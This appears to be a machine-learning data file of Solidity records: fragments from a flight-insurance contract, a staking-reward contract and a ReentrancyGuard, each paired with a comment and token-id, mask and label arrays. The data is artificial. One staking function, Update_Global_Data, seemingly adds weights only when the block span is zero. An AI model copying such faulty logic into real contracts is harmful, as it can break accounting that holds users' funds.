airlines[airlineAddress].airlineState = AirlineState.Registered;
emit Registered(airlineAddress);
}
else
emit Registering(airlineAddress);
}
/**
* The caller approve registration of this airline.
* Add the caller to approve list of this airline.
*/
function _approveAirline
(
address airlineAddress
)
private
{
airlines[airlineAddress].approveAirlines.push(msg.sender);
}
/**
* @dev Create a unique bytes32 value from parameters.
*/
function _getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
private
pure
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Initialize and return flight object.
*/
function _initFlight
(
address airline,
string memory flightName,
uint256 timestamp
)
private
pure
returns (Flight memory flight)
{
flight.flight = flightName;
flight.updatedTimestamp = timestamp;
flight.airline = airline;
flight.isRegistered = true;
}
/**
* @dev Credits payouts to insurees in case airline fault.
*/
function _creditInsurees
(
bytes32 key
)
private
{
// Find insuree for this flight and credit them 1.5x
address[] memory insurees = flights[key].insurees;
for (uint i=0; i < insurees.length; i++)
{
uint256 amount = flights[key].insuranceAmount[insurees[i]];
uint256 credit = amount.mul(3).div(2);
passengerCredits[insurees[i]] = passengerCredits[insurees[i]].add(credit);
}
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev The contract owner authorize this caller.
*/
function authorizeCaller
(
address contractAddress
)
external
requireIsOperational
requireContractOwner
{
authorizedContracts[contractAddress] = 1;
}
/**
* @dev The contract owner deauthorize this caller.
*/
function deauthorizedContract
(
address contractAddress
)
external
requireIsOperational
requireContractOwner
{
delete authorizedContracts[contractAddress];
}
/**
* @dev Check if an address is an airline.
*/
function isAirline
(
address airline
)
external
view
requireIsOperational
returns(bool)
{
return airlines[airline].airlineAddress != address(0);
}
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*/
function registerAirline
(
address payable airlineAddress,
string calldata airlineName
)
external
requireIsOperational
requireNewAirline(airlineAddress)
requireActivedAirline
{
_initAirline(airlineAddress, airlineName);
_approveAirline(airlineAddress);
_assessRegistration(airlineAddress);
}
/**
* @dev The caller is an active airline approve registration of an airline.
*/
function approveRegistration
(
address airline
)
external
requireIsOperational
requireActivedAirline
requireNewApproval(airline)
{
_approveAirline(airline);
_assessRegistration(airline);
}
/**
* @dev A registered airline submit the fund to become actived.
* Check-Effect-Interaction and Re-entrancy Guard involved.
*/
function submitFund
(
)
external
payable
requireIsOperational
requireRegisteredAirline
requireMin10Ether
entrancyGuard
{
uint256 amountToReturn = msg.value.sub(10 ether);
msg.sender.transfer(amountToReturn);
airlineFund[msg.sender] = 10 ether;
totalAirlines = totalAirlines.add(1);
emit Actived(msg.sender);
}
/**
* @dev An active airline register a flight.
*/
function registerFlight
(
string calldata flightName,
uint256 timestamp
)
external
requireIsOperational
requireActivedAirline
{
bytes32 key = _getFlightKey(msg.sender, flightName, timestamp);
Flight memory flight = _initFlight(msg.sender, flightName, timestamp);
flights[key] = flight;
emit FlightRegistered(flightName, timestamp);
}
/**
* @dev Customer buy insurance for a flight.
* Re-entrancy guard is implement.
*/
function buy
(
address airline,
string calldata flight,
uint256 timestamp
)
external
payable
requireIsOperational
requireMax1Ether
requireNewBuyer(airline, flight, timestamp)
requireFlightNotProcessed(airline, flight, timestamp)
entrancyGuard
{
bytes32 key = _getFlightKey(airline, flight, timestamp);
flights[key].insurees.push(msg.sender);
flights[key].insuranceAmount[msg.sender] = msg.value;
emit InsuranceBought(airline, flight, timestamp);
}
/**
* @dev Update flight status of the flight.
*/
function processFlightStatus
(
address airline,
string calldata flight,
uint256 timestamp,
uint8 statusCode,
bool isAirlineFault // is flight late because of the airline fault
)
external
requireIsOperational
requireFlightNotProcessed(airline, flight, timestamp)
{
bytes32 key = _getFlightKey(airline, flight, timestamp);
flights[key].statusCode = statusCode;
flights[key].isProcessed = true;
if (isAirlineFault)
_creditInsurees(key);
emit FlightProcessed(airline, flight, timestamp);
}
/**
* @dev Transfers eligible payout funds to insuree.
* Re-entrancy Guard and Check-Effect-Interaction is applied.
*/
function pay
(
)
external
payable
requireIsOperational
requirePositiveCredit
entrancyGuard
{
uint256 amount = passengerCredits[msg.sender];
passengerCredits[msg.sender] = 0;
msg.sender.transfer(amount);
emit CreditPayout(msg.sender, amount);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
)
public
payable
{
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
fund();
}
}
|
Credit relate to passengers
|
mapping(address => uint256) private passengerCredits;
| 12,776,750 |
[
1,
16520,
1279,
340,
358,
1342,
275,
6215,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
1342,
14348,
24201,
1282,
31,
27573,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xC05e1Af0695D9C246D177b6A6395Fcc082ca1953/sources/browser/MFS.sol
|
m_TotalStackingOfLastUpdate=stacking_amount+m_TotalStackingOfLastUpdate;
|
function Update_Global_Data() private
{
uint block_num_clamp=block.number;
if(block_num_clamp>m_Stacking_Block_Number_Stop)
{
block_num_clamp=m_Stacking_Block_Number_Stop;
}
if(block_num_clamp<m_Stacking_Block_Number_Start)
{
block_num_clamp=m_Stacking_Block_Number_Start;
}
uint256 block_span=block_num_clamp-m_BlockNumOfLastUpdate;
if(block_span==0)
{
uint256 delta= 1;
for(uint i=0;i<8;i++)
{
delta=block_span*m_Block_weight_of_Stack_Options[i];
m_SumOfWeightedStacking_of_Stack_Options[i]=m_SumOfWeightedStacking_of_Stack_Options[i]+delta;
}
}
m_BlockNumOfLastUpdate=block_num_clamp;
}
| 3,017,762 |
[
1,
81,
67,
5269,
2624,
310,
951,
3024,
1891,
33,
3772,
310,
67,
8949,
15,
81,
67,
5269,
2624,
310,
951,
3024,
1891,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2315,
67,
5160,
67,
751,
1435,
3238,
203,
565,
288,
203,
540,
2254,
1203,
67,
2107,
67,
830,
931,
33,
2629,
18,
2696,
31,
203,
3639,
309,
12,
2629,
67,
2107,
67,
830,
931,
34,
81,
67,
2624,
310,
67,
1768,
67,
1854,
67,
4947,
13,
203,
3639,
288,
203,
5411,
1203,
67,
2107,
67,
830,
931,
33,
81,
67,
2624,
310,
67,
1768,
67,
1854,
67,
4947,
31,
203,
3639,
289,
203,
3639,
309,
12,
2629,
67,
2107,
67,
830,
931,
32,
81,
67,
2624,
310,
67,
1768,
67,
1854,
67,
1685,
13,
203,
3639,
288,
203,
5411,
1203,
67,
2107,
67,
830,
931,
33,
81,
67,
2624,
310,
67,
1768,
67,
1854,
67,
1685,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
1203,
67,
3969,
33,
2629,
67,
2107,
67,
830,
931,
17,
81,
67,
1768,
2578,
951,
3024,
1891,
31,
203,
3639,
309,
12,
2629,
67,
3969,
631,
20,
13,
203,
3639,
288,
203,
5411,
2254,
5034,
3622,
33,
225,
404,
31,
203,
5411,
364,
12,
11890,
277,
33,
20,
31,
77,
32,
28,
31,
77,
27245,
203,
5411,
288,
203,
7734,
3622,
33,
2629,
67,
3969,
14,
81,
67,
1768,
67,
4865,
67,
792,
67,
2624,
67,
1320,
63,
77,
15533,
203,
7734,
312,
67,
3495,
951,
6544,
329,
2624,
310,
67,
792,
67,
2624,
67,
1320,
63,
77,
65,
33,
81,
67,
3495,
951,
6544,
329,
2624,
310,
67,
792,
67,
2624,
67,
1320,
63,
77,
3737,
9878,
31,
203,
5411,
289,
203,
3639,
289,
203,
2
] |
pragma solidity ^0.5.0;
import "./ERCStaking.sol";
import "./Checkpointing.sol";
import "./res/Autopetrified.sol";
import "./res/IsContract.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol";
import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol";
contract Staking is Autopetrified, ERCStaking, ERCStakingHistory, IsContract {
using SafeMath for uint256;
using Checkpointing for Checkpointing.History;
using SafeERC20 for ERC20;
// todo: switch back to safetransfer?
// This changes all 'transfer' calls to safeTransfer
string private constant ERROR_TOKEN_NOT_CONTRACT = "STAKING_TOKEN_NOT_CONTRACT";
string private constant ERROR_AMOUNT_ZERO = "STAKING_AMOUNT_ZERO";
string private constant ERROR_TOKEN_TRANSFER = "STAKING_TOKEN_TRANSFER";
string private constant ERROR_NOT_ENOUGH_BALANCE = "STAKING_NOT_ENOUGH_BALANCE";
// standard - imitates relationship between Ether and Wei
uint8 private constant DECIMALS = 18;
// Default minimum stake
uint256 internal minStakeAmount = 0;
// Default maximum stake
uint256 internal maxStakeAmount = 0;
// Reward tracking info
uint256 internal currentClaimBlock;
uint256 internal currentClaimableAmount;
struct Account {
Checkpointing.History stakedHistory;
Checkpointing.History claimHistory;
}
ERC20 internal stakingToken;
mapping (address => Account) internal accounts;
Checkpointing.History internal totalStakedHistory;
address treasuryAddress;
address stakingOwnerAddress;
event StakeTransferred(
address indexed from,
uint256 amount,
address to
);
event Test(
uint256 test,
string msg);
event Claimed(
address claimaint,
uint256 amountClaimed
);
function initialize(address _stakingToken, address _treasuryAddress) external onlyInit {
require(isContract(_stakingToken), ERROR_TOKEN_NOT_CONTRACT);
initialized();
stakingToken = ERC20(_stakingToken);
treasuryAddress = _treasuryAddress;
// Initialize claim values to zero, disabling claim prior to initial funding
currentClaimBlock = 0;
currentClaimableAmount = 0;
// Default min stake amount is 100 AUD tokens
minStakeAmount = 100 * 10**uint256(DECIMALS);
// Default max stake amount is 100 million AUD tokens
maxStakeAmount = 100000000 * 10**uint256(DECIMALS);
}
/* External functions */
/**
* @notice Funds `_amount` of tokens from msg.sender into treasury stake
*/
function fundNewClaim(uint256 _amount) external isInitialized {
// TODO: Add additional require statements here...
// Stake tokens for msg.sender from treasuryAddress
// Transfer tokens from msg.sender to current contract
// Increase treasuryAddress stake value
_stakeFor(
treasuryAddress,
msg.sender,
_amount,
bytes(""));
// Update current claim information
currentClaimBlock = getBlockNumber();
currentClaimableAmount = totalStakedFor(treasuryAddress);
}
/**
* @notice Allows reward claiming for service providers
*/
function makeClaim() external isInitialized {
require(msg.sender != treasuryAddress, "Treasury cannot claim staking reward");
require(accounts[msg.sender].stakedHistory.history.length > 0, "Stake required to claim");
require(currentClaimBlock > 0, "Claim block must be initialized");
require(currentClaimableAmount > 0, "Claimable amount must be initialized");
if (accounts[msg.sender].claimHistory.history.length > 0) {
uint256 lastClaimedBlock = accounts[msg.sender].claimHistory.lastUpdated();
// Require a minimum block difference alloted to be ~1 week of blocks
// Note that a new claim funding after the latest claim for this staker overrides the minimum block difference
require(
lastClaimedBlock < currentClaimBlock,
"Minimum block difference not met");
}
uint256 claimBlockTotalStake = totalStakedHistory.get(currentClaimBlock);
uint256 treasuryStakeAtClaimBlock = accounts[treasuryAddress].stakedHistory.get(currentClaimBlock);
uint256 claimantStakeAtClaimBlock = accounts[msg.sender].stakedHistory.get(currentClaimBlock);
uint256 totalServiceProviderStakeAtClaimBlock = claimBlockTotalStake.sub(treasuryStakeAtClaimBlock);
uint256 claimedValue = (claimantStakeAtClaimBlock.mul(currentClaimableAmount)).div(totalServiceProviderStakeAtClaimBlock);
// Transfer value from treasury to claimant if >0 is claimed
if (claimedValue > 0) {
_transfer(treasuryAddress, msg.sender, claimedValue);
}
// Update claim history even if no value claimed
accounts[msg.sender].claimHistory.add64(getBlockNumber64(), claimedValue);
emit Claimed(msg.sender, claimedValue);
}
/**
* @notice Slashes `_amount` tokens from _slashAddress
* Controlled by treasury address
* @param _amount Number of tokens slashed
* @param _slashAddress address being slashed
*/
function slash(uint256 _amount, address _slashAddress) external isInitialized {
// restrict functionality
require(msg.sender == treasuryAddress, "Slashing functionality locked to treasury owner");
// unstaking 0 tokens is not allowed
require(_amount > 0, ERROR_AMOUNT_ZERO);
// transfer slashed funds to treasury address
// reduce stake balance for address being slashed
_transfer(_slashAddress, treasuryAddress, _amount);
}
/**
* @notice Sets caller for stake and unstake functions
* Controlled by treasury address
*/
function setStakingOwnerAddress(address _stakeCaller) external isInitialized {
require(msg.sender == treasuryAddress, "Slashing functionality locked to treasury owner");
stakingOwnerAddress = _stakeCaller;
}
/**
* @notice Sets the minimum stake possible
* Controlled by treasury
*/
// NOTE that _amounts are in wei throughout
function setMinStakeAmount(uint256 _amount) external isInitialized {
require(msg.sender == treasuryAddress, "Stake amount manipulation limited to treasury owner");
minStakeAmount = _amount;
}
/**
* @notice Sets the max stake possible
* Controlled by treasury
*/
function setMaxStakeAmount(uint256 _amount) external isInitialized {
require(msg.sender == treasuryAddress, "Stake amount manipulation limited to treasury owner");
maxStakeAmount = _amount;
}
/**
* @notice Stakes `_amount` tokens, transferring them from `msg.sender`
* @param _amount Number of tokens staked
* @param _data Used in Staked event, to add signalling information in more complex staking applications
*/
function stake(uint256 _amount, bytes calldata _data) external isInitialized {
require(msg.sender == stakingOwnerAddress, "Unauthorized staking operation");
_stakeFor(
msg.sender,
msg.sender,
_amount,
_data);
}
/**
* @notice Stakes `_amount` tokens, transferring them from caller, and assigns them to `_accountAddress`
* @param _accountAddress The final staker of the tokens
* @param _amount Number of tokens staked
* @param _data Used in Staked event, to add signalling information in more complex staking applications
*/
function stakeFor(address _accountAddress, uint256 _amount, bytes calldata _data) external isInitialized {
require(msg.sender == stakingOwnerAddress, "Unauthorized staking operation");
_stakeFor(
_accountAddress,
_accountAddress,
_amount,
_data);
}
/**
* @notice Unstakes `_amount` tokens, returning them to the user
* @param _amount Number of tokens staked
* @param _data Used in Unstaked event, to add signalling information in more complex staking applications
*/
function unstake(uint256 _amount, bytes calldata _data) external isInitialized {
// unstaking 0 tokens is not allowed
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(msg.sender, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// transfer tokens
stakingToken.safeTransfer(msg.sender, _amount);
emit Unstaked(
msg.sender,
_amount,
totalStakedFor(msg.sender),
_data);
}
/**
* @notice Unstakes `_amount` tokens, returning them to the desired account.
* @param _amount Number of tokens staked
* @param _data Used in Unstaked event, to add signalling information in more complex staking applications
*/
function unstakeFor(address _accountAddress, uint256 _amount, bytes calldata _data) external isInitialized {
require(msg.sender == stakingOwnerAddress, "Unauthorized staking operation");
// unstaking 0 tokens is not allowed
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_accountAddress, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// transfer tokens
stakingToken.safeTransfer(_accountAddress, _amount);
emit Unstaked(
_accountAddress,
_amount,
totalStakedFor(_accountAddress),
_data);
}
/**
* @notice Get the token used by the contract for staking and locking
* @return The token used by the contract for staking and locking
*/
function token() external view isInitialized returns (address) {
return address(stakingToken);
}
/**
* @notice Check whether it supports history of stakes
* @return Always true
*/
function supportsHistory() external pure returns (bool) {
return true;
}
/**
* @notice Get last time `_accountAddress` modified its staked balance
* @param _accountAddress Account requesting for
* @return Last block number when account's balance was modified
*/
function lastStakedFor(address _accountAddress) external view isInitialized returns (uint256) {
return accounts[_accountAddress].stakedHistory.lastUpdated();
}
/**
* @notice Get last time `_accountAddress` claimed a staking reward
* @param _accountAddress Account requesting for
* @return Last block number when claim requested
*/
function lastClaimedFor(address _accountAddress) external view isInitialized returns (uint256) {
return accounts[_accountAddress].claimHistory.lastUpdated();
}
/**
* @notice Get info relating to current claim status
*/
function getClaimInfo() external view isInitialized returns (uint256, uint256) {
return (currentClaimableAmount, currentClaimBlock);
}
/**
* @notice Get the total amount of tokens staked by `_accountAddress` at block number `_blockNumber`
* @param _accountAddress Account requesting for
* @param _blockNumber Block number at which we are requesting
* @return The amount of tokens staked by the account at the given block number
*/
function totalStakedForAt(address _accountAddress, uint256 _blockNumber) external view returns (uint256) {
return accounts[_accountAddress].stakedHistory.get(_blockNumber);
}
/**
* @notice Get the total amount of tokens staked by all users at block number `_blockNumber`
* @param _blockNumber Block number at which we are requesting
* @return The amount of tokens staked at the given block number
*/
function totalStakedAt(uint256 _blockNumber) external view returns (uint256) {
return totalStakedHistory.get(_blockNumber);
}
/**
* @notice Return the minimum stake configuration
* @return min stake
*/
function getMinStakeAmount() external view returns (uint256) {
return minStakeAmount;
}
/**
* @notice Return the maximum stake configuration
* @return max stake
*/
function getMaxStakeAmount() external view returns (uint256) {
return maxStakeAmount;
}
/* Public functions */
/**
* @notice Get the amount of tokens staked by `_accountAddress`
* @param _accountAddress The owner of the tokens
* @return The amount of tokens staked by the given account
*/
function totalStakedFor(address _accountAddress) public view returns (uint256) {
// we assume it's not possible to stake in the future
return accounts[_accountAddress].stakedHistory.getLatestValue();
}
/**
* @notice Get the total amount of tokens staked by all users
* @return The total amount of tokens staked by all users
*/
function totalStaked() public view returns (uint256) {
// we assume it's not possible to stake in the future
return totalStakedHistory.getLatestValue();
}
/*
function multicall(bytes[] _calls) public {
for(uint i = 0; i < _calls.length; i++) {
require(address(this).delegatecall(_calls[i]), ERROR_MULTICALL_DELEGATECALL);
}
}
*/
/* Internal functions */
function _stakeFor(
address _stakeAccount,
address _transferAccount,
uint256 _amount,
bytes memory _data) internal
{
// staking 0 tokens is invalid
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, true);
// checkpoint total supply
_modifyTotalStaked(_amount, true);
// pull tokens into Staking contract
stakingToken.safeTransferFrom(_transferAccount, address(this), _amount);
emit Staked(
_stakeAccount,
_amount,
totalStakedFor(_stakeAccount),
_data);
}
function _modifyStakeBalance(address _accountAddress, uint256 _by, bool _increase) internal {
uint256 currentStake = totalStakedFor(_accountAddress);
uint256 newStake;
if (_increase) {
newStake = currentStake.add(_by);
} else {
newStake = currentStake.sub(_by);
}
// Confirm stake is within configured bounds for non-treasury addresses
if (_accountAddress != treasuryAddress) {
require(newStake <= maxStakeAmount, 'Maximum stake threshold exceeded');
require(newStake > minStakeAmount || newStake == 0, 'Minimum stake threshold exceeded');
}
// add new value to account history
accounts[_accountAddress].stakedHistory.add64(getBlockNumber64(), newStake);
}
function _modifyTotalStaked(uint256 _by, bool _increase) internal {
uint256 currentStake = totalStaked();
uint256 newStake;
if (_increase) {
newStake = currentStake.add(_by);
} else {
newStake = currentStake.sub(_by);
}
// add new value to total history
totalStakedHistory.add64(getBlockNumber64(), newStake);
}
function _transfer(address _from, address _to, uint256 _amount) internal {
// transferring 0 staked tokens is invalid
require(_amount > 0, ERROR_AMOUNT_ZERO);
// update stakes
_modifyStakeBalance(_from, _amount, false);
_modifyStakeBalance(_to, _amount, true);
emit StakeTransferred(_from,_amount, _to);
}
}
|
* @notice Get the amount of tokens staked by `_accountAddress` @param _accountAddress The owner of the tokens @return The amount of tokens staked by the given account/ we assume it's not possible to stake in the future
|
function totalStakedFor(address _accountAddress) public view returns (uint256) {
return accounts[_accountAddress].stakedHistory.getLatestValue();
}
| 1,067,071 |
[
1,
967,
326,
3844,
434,
2430,
384,
9477,
635,
1375,
67,
4631,
1887,
68,
225,
389,
4631,
1887,
1021,
3410,
434,
326,
2430,
327,
1021,
3844,
434,
2430,
384,
9477,
635,
326,
864,
2236,
19,
732,
6750,
518,
1807,
486,
3323,
358,
384,
911,
316,
326,
3563,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2078,
510,
9477,
1290,
12,
2867,
389,
4631,
1887,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
9484,
63,
67,
4631,
1887,
8009,
334,
9477,
5623,
18,
588,
18650,
620,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/5/0xa3a9B86a85d8cB6388e8CF41E810334fE0B7a276/sources/security/ReentrancyGuardUpgradeable.sol
|
* @dev Contract module that helps prevent reentrant calls to a function. Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier available, which can be applied to functions to make sure there are no nested (reentrant) calls to them. Note that because there is a single `nonReentrant` guard, functions marked as `nonReentrant` may not call one another. This can be worked around by making those functions `private`, and then adding `external` `nonReentrant` entry points to them. TIP: If you would like to learn more about reentrancy and alternative ways to protect against it, check out our blog post/ Booleans are more expensive than uint256 or any type that takes up a full word because each write operation emits an extra SLOAD to first read the slot's contents, replace the bits taken up by the boolean, and then write back. This is the compiler's defense against contract upgrades and pointer aliasing, and it cannot be disabled. The values being non-zero value makes deployment a bit more expensive, but in exchange the refund on every call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full refund coming into effect.
|
abstract contract ReentrancyGuardUpgradeable is Initializable {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
| 7,037,446 |
[
1,
8924,
1605,
716,
21814,
5309,
283,
8230,
970,
4097,
358,
279,
445,
18,
25953,
310,
628,
1375,
426,
8230,
12514,
16709,
68,
903,
1221,
326,
288,
5836,
426,
8230,
970,
97,
